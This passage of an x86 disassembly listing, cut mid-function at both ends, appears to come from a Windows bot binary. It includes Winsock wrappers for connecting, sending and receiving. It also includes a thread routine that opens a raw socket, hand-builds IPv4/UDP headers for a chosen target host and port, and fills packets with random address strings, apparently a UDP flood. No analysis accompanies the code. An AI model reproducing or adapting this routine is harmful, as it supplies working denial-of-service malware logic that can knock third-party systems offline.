					; sub_404FE7+DBj
		push	[ebp+var_2C]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_40505F
; ---------------------------------------------------------------------------

loc_4050DD:				; CODE XREF: sub_404FE7+85j
		push	[ebp+var_28]
		call	dword_41DE8C	; freeaddrinfo
		xor	eax, eax

locret_4050E8:				; CODE XREF: sub_404FE7+6Bj
					; sub_404FE7+E9j
		leave
		retn
sub_404FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4050EA	proc near		; CODE XREF: sub_401E38+80p
					; sub_402698+16p ...

var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 844h
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		mov	[ebp+var_834], eax
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		imul	edx, 3E8h
		mov	[ebp+var_830], edx
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_40513E
		mov	[ebp+var_20], 17h
		jmp	short loc_405155
; ---------------------------------------------------------------------------

loc_40513E:				; CODE XREF: sub_4050EA+49j
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405151
		mov	[ebp+var_20], 2
		jmp	short loc_405155
; ---------------------------------------------------------------------------

loc_405151:				; CODE XREF: sub_4050EA+5Cj
		and	[ebp+var_20], 0

loc_405155:				; CODE XREF: sub_4050EA+52j
					; sub_4050EA+65j
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_82C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jz	short loc_405188
		xor	eax, eax
		jmp	locret_40538B
; ---------------------------------------------------------------------------

loc_405188:				; CODE XREF: sub_4050EA+95j
		mov	eax, [ebp+var_82C]
		mov	[ebp+var_4], eax
		jmp	short loc_40519C
; ---------------------------------------------------------------------------

loc_405193:				; CODE XREF: sub_4050EA+E3j
					; sub_4050EA+128j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax

loc_40519C:				; CODE XREF: sub_4050EA+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40537D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_83C], eax
		cmp	[ebp+var_83C], 0FFFFFFFFh
		jnz	short loc_4051CF
		jmp	short loc_405193
; ---------------------------------------------------------------------------

loc_4051CF:				; CODE XREF: sub_4050EA+E1j
		push	0
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_83C]
		call	dword_4171F4	; connect
		mov	[ebp+var_838], eax
		cmp	[ebp+var_838], 0
		jz	short loc_405217
		call	dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_405217
		jmp	loc_405193
; ---------------------------------------------------------------------------

loc_405217:				; CODE XREF: sub_4050EA+119j
					; sub_4050EA+126j
		and	[ebp+var_828], 0

loc_40521E:				; CODE XREF: sub_4050EA+1AFj
		and	[ebp+var_840], 0
		jmp	short loc_405234
; ---------------------------------------------------------------------------

loc_405227:				; CODE XREF: sub_4050EA:loc_405259j
		mov	eax, [ebp+var_840]
		inc	eax
		mov	[ebp+var_840], eax

loc_405234:				; CODE XREF: sub_4050EA+13Bj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnb	short loc_40525B
		mov	eax, [ebp+var_840]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405259
		jmp	short loc_40525B
; ---------------------------------------------------------------------------

loc_405259:				; CODE XREF: sub_4050EA+16Bj
		jmp	short loc_405227
; ---------------------------------------------------------------------------

loc_40525B:				; CODE XREF: sub_4050EA+156j
					; sub_4050EA+16Dj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnz	short loc_405295
		cmp	[ebp+var_828], 200h
		jnb	short loc_405295
		mov	eax, [ebp+var_840]
		mov	ecx, [ebp+var_83C]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_828]
		inc	eax
		mov	[ebp+var_828], eax

loc_405295:				; CODE XREF: sub_4050EA+17Dj
					; sub_4050EA+189j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_40521E
		lea	eax, [ebp+var_834]
		push	eax
		push	0
		lea	eax, [ebp+var_828]
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		cmp	eax, 1
		jnz	short loc_4052E0
		push	1
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	[ebp+var_82C]
		call	dword_41DE8C	; freeaddrinfo
		mov	eax, [ebp+var_83C]
		jmp	locret_40538B
; ---------------------------------------------------------------------------

loc_4052E0:				; CODE XREF: sub_4050EA+1CEj
					; sub_4050EA+27Cj
		and	[ebp+var_844], 0
		jmp	short loc_4052F6
; ---------------------------------------------------------------------------

loc_4052E9:				; CODE XREF: sub_4050EA:loc_405360j
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax

loc_4052F6:				; CODE XREF: sub_4050EA+1FDj
		mov	eax, [ebp+var_844]
		cmp	eax, [ebp+var_828]
		jnb	short loc_405362
		mov	eax, [ebp+var_844]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405360

loc_405319:				; CODE XREF: sub_4050EA+265j
		mov	eax, [ebp+var_828]
		dec	eax
		cmp	[ebp+var_844], eax
		jnb	short loc_405351
		mov	eax, [ebp+var_844]
		mov	ecx, [ebp+var_844]
		mov	ecx, [ebp+ecx*4+var_820]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax
		jmp	short loc_405319
; ---------------------------------------------------------------------------

loc_405351:				; CODE XREF: sub_4050EA+23Cj
		mov	eax, [ebp+var_828]
		dec	eax
		mov	[ebp+var_828], eax
		jmp	short loc_405362
; ---------------------------------------------------------------------------

loc_405360:				; CODE XREF: sub_4050EA+22Dj
		jmp	short loc_4052E9
; ---------------------------------------------------------------------------

loc_405362:				; CODE XREF: sub_4050EA+218j
					; sub_4050EA+274j
		xor	eax, eax
		test	eax, eax
		jnz	loc_4052E0
		push	[ebp+var_83C]
		call	sub_4053B1
		pop	ecx
		jmp	loc_405193
; ---------------------------------------------------------------------------

loc_40537D:				; CODE XREF: sub_4050EA+B6j
		push	[ebp+var_82C]
		call	dword_41DE8C	; freeaddrinfo
		xor	eax, eax

locret_40538B:				; CODE XREF: sub_4050EA+99j
					; sub_4050EA+1F1j
		leave
		retn
sub_4050EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40538D	proc near		; CODE XREF: sub_401E38+26Ep
					; sub_4020C2+3FBp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_0]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		pop	ebp
		retn
sub_40538D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053B1	proc near		; CODE XREF: sub_404279+77p
					; sub_40432E+1Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_417230	; closesocket
		pop	ebp
		retn
sub_4053B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053BF	proc near		; CODE XREF: sub_401E38+15Cp
					; sub_4020C2+2F9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41720C	; send
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4053BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053DC	proc near		; CODE XREF: sub_403DF3+D1p
					; sub_405443+21p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 2
		jnb	short loc_4053F6
		push	271Eh
		call	dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------

loc_4053F6:				; CODE XREF: sub_4053DC+8j
		push	0
		mov	eax, [ebp+arg_8]
		dec	eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_405418
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_40541D

loc_405418:				; CODE XREF: sub_4053DC+34j
		mov	eax, [ebp+var_4]
		jmp	short locret_405441
; ---------------------------------------------------------------------------

loc_40541D:				; CODE XREF: sub_4053DC+3Aj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_405435
		push	271Eh
		call	dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------

loc_405435:				; CODE XREF: sub_4053DC+47j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]

locret_405441:				; CODE XREF: sub_4053DC+18j
					; sub_4053DC+3Fj ...
		leave
		retn
sub_4053DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405443	proc near		; CODE XREF: sub_402698+8Dp
					; sub_402698+2BEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40545B
		xor	eax, eax
		jmp	short loc_40546C
; ---------------------------------------------------------------------------

loc_40545B:				; CODE XREF: sub_405443+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch

loc_40546C:				; CODE XREF: sub_405443+16j
		pop	ebp
		retn
sub_405443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40546E	proc near		; CODE XREF: sub_405443+9p
					; sub_410649+2Dp ...

var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1018h
		call	sub_416BC0
		and	[ebp+var_804], 0
		and	[ebp+var_1008],	0

loc_405489:				; CODE XREF: sub_40546E+90j
		and	[ebp+var_1014],	0
		jmp	short loc_40549F
; ---------------------------------------------------------------------------

loc_405492:				; CODE XREF: sub_40546E:loc_4054C1j
		mov	eax, [ebp+var_1014]
		inc	eax
		mov	[ebp+var_1014],	eax

loc_40549F:				; CODE XREF: sub_40546E+22j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnb	short loc_4054C3
		mov	eax, [ebp+var_1014]
		mov	eax, [ebp+eax*4+var_800]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4054C1
		jmp	short loc_4054C3
; ---------------------------------------------------------------------------

loc_4054C1:				; CODE XREF: sub_40546E+4Fj
		jmp	short loc_405492
; ---------------------------------------------------------------------------

loc_4054C3:				; CODE XREF: sub_40546E+3Dj
					; sub_40546E+51j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnz	short loc_4054FA
		cmp	[ebp+var_804], 200h
		jnb	short loc_4054FA
		mov	eax, [ebp+var_1014]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_800], ecx
		mov	eax, [ebp+var_804]
		inc	eax
		mov	[ebp+var_804], eax

loc_4054FA:				; CODE XREF: sub_40546E+61j
					; sub_40546E+6Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405489

loc_405500:				; CODE XREF: sub_40546E+107j
		and	[ebp+var_1018],	0
		jmp	short loc_405516
; ---------------------------------------------------------------------------

loc_405509:				; CODE XREF: sub_40546E:loc_405538j
		mov	eax, [ebp+var_1018]
		inc	eax
		mov	[ebp+var_1018],	eax

loc_405516:				; CODE XREF: sub_40546E+99j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnb	short loc_40553A
		mov	eax, [ebp+var_1018]
		mov	eax, [ebp+eax*4+var_1004]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_405538
		jmp	short loc_40553A
; ---------------------------------------------------------------------------

loc_405538:				; CODE XREF: sub_40546E+C6j
		jmp	short loc_405509
; ---------------------------------------------------------------------------

loc_40553A:				; CODE XREF: sub_40546E+B4j
					; sub_40546E+C8j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnz	short loc_405571
		cmp	[ebp+var_1008],	200h
		jnb	short loc_405571
		mov	eax, [ebp+var_1018]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_1004], ecx
		mov	eax, [ebp+var_1008]
		inc	eax
		mov	[ebp+var_1008],	eax

loc_405571:				; CODE XREF: sub_40546E+D8j
					; sub_40546E+E4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405500
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_1010],	eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_100C],	edx
		lea	eax, [ebp+var_1010]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	0
		lea	eax, [ebp+var_804]
		push	eax
		push	1
		call	dword_41722C	; select
		cmp	eax, 1
		jz	short loc_4055C9
		xor	eax, eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------

loc_4055C9:				; CODE XREF: sub_40546E+155j
		lea	eax, [ebp+var_804]
		push	eax
		push	[ebp+arg_0]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4055E1
		push	1
		pop	eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------

loc_4055E1:				; CODE XREF: sub_40546E+16Cj
		xor	eax, eax

locret_4055E3:				; CODE XREF: sub_40546E+159j
					; sub_40546E+171j
		leave
		retn
sub_40546E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4055E5	proc near		; DATA XREF: sub_405E45+113o

var_1358	= dword	ptr -1358h
var_1354	= dword	ptr -1354h
var_1350	= dword	ptr -1350h
var_134C	= dword	ptr -134Ch
var_1348	= dword	ptr -1348h
var_1344	= dword	ptr -1344h
var_1340	= dword	ptr -1340h
var_133C	= dword	ptr -133Ch
var_1338	= dword	ptr -1338h
var_1334	= dword	ptr -1334h
var_118D	= byte ptr -118Dh
var_108D	= byte ptr -108Dh
var_1087	= dword	ptr -1087h
var_1083	= dword	ptr -1083h
var_107F	= dword	ptr -107Fh
var_1078	= dword	ptr -1078h
var_1074	= byte ptr -1074h
var_1058	= byte ptr -1058h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1358h
		call	sub_416BC0
		push	2B9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1334]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_1078],	eax
		cmp	[ebp+var_1078],	0FFFFFFFFh
		jnz	short loc_405643
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------

loc_405643:				; CODE XREF: sub_4055E5+49j
		mov	[ebp+var_1340],	1
		push	4
		lea	eax, [ebp+var_1340]
		push	eax
		push	2
		push	0
		push	[ebp+var_1078]
		call	dword_417204	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40567E
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------

loc_40567E:				; CODE XREF: sub_4055E5+84j
		push	0
		push	[ebp+var_1078]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		lea	eax, [ebp+var_108D]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_118D]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405710
		lea	eax, [ebp+var_118D]
		push	eax
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_1344],	eax
		cmp	[ebp+var_1344],	0
		jnz	short loc_405700
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------

loc_405700:				; CODE XREF: sub_4055E5+106j
		mov	eax, [ebp+var_1344]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax

loc_405710:				; CODE XREF: sub_4055E5+EAj
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405729
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------

loc_405729:				; CODE XREF: sub_4055E5+12Fj
		push	1060h
		push	0
		lea	eax, [ebp+var_1074]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1074]
		mov	[ebp+var_133C],	eax
		lea	eax, [ebp+var_1058]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0F0h
		or	al, 5
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0Fh
		or	al, 40h
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	byte ptr [eax+9], 11h
		mov	eax, [ebp+var_133C]
		mov	ecx, [ebp+var_C]
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_133C]
		mov	cx, [ebp+var_E]
		mov	[eax+16h], cx
		and	[ebp+var_1338],	0
		jmp	short loc_4057B6
; ---------------------------------------------------------------------------

loc_4057A9:				; CODE XREF: sub_4055E5:loc_405E22j
		mov	eax, [ebp+var_1338]
		inc	eax
		mov	[ebp+var_1338],	eax

loc_4057B6:				; CODE XREF: sub_4055E5+1C2j
		mov	eax, [ebp+var_1338]
		cmp	eax, [ebp+var_1087]
		jge	loc_405E27
		mov	eax, [ebp+var_107F]
		mov	[ebp+var_1358],	eax
		cmp	[ebp+var_1358],	1
		jz	short loc_4057FC
		cmp	[ebp+var_1358],	2
		jz	loc_405924
		cmp	[ebp+var_1358],	3
		jz	loc_405A11
		jmp	loc_405C71
; ---------------------------------------------------------------------------

loc_4057FC:				; CODE XREF: sub_4055E5+1F6j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch

loc_40581E:				; CODE XREF: sub_4055E5+2BFj
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4058A9
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_40581E
; ---------------------------------------------------------------------------

loc_4058A9:				; CODE XREF: sub_4055E5+247j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------

loc_405924:				; CODE XREF: sub_4055E5+1FFj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch

loc_405946:				; CODE XREF: sub_4055E5+3CBj
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4059B2
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405946
; ---------------------------------------------------------------------------

loc_4059B2:				; CODE XREF: sub_4055E5+36Fj
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------

loc_405A11:				; CODE XREF: sub_4055E5+20Cj
		push	2
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_134C],	eax
		cmp	[ebp+var_134C],	0
		jnz	short loc_405A52
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset dword_418A60
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------

loc_405A52:				; CODE XREF: sub_4055E5+444j
		cmp	[ebp+var_134C],	1
		jnz	loc_405B87
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch

loc_405A81:				; CODE XREF: sub_4055E5+522j
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405B0C
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405A81
; ---------------------------------------------------------------------------

loc_405B0C:				; CODE XREF: sub_4055E5+4AAj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------

loc_405B87:				; CODE XREF: sub_4055E5+474j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch

loc_405BA9:				; CODE XREF: sub_4055E5+62Ej
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405C15
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405BA9
; ---------------------------------------------------------------------------

loc_405C15:				; CODE XREF: sub_4055E5+5D2j
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
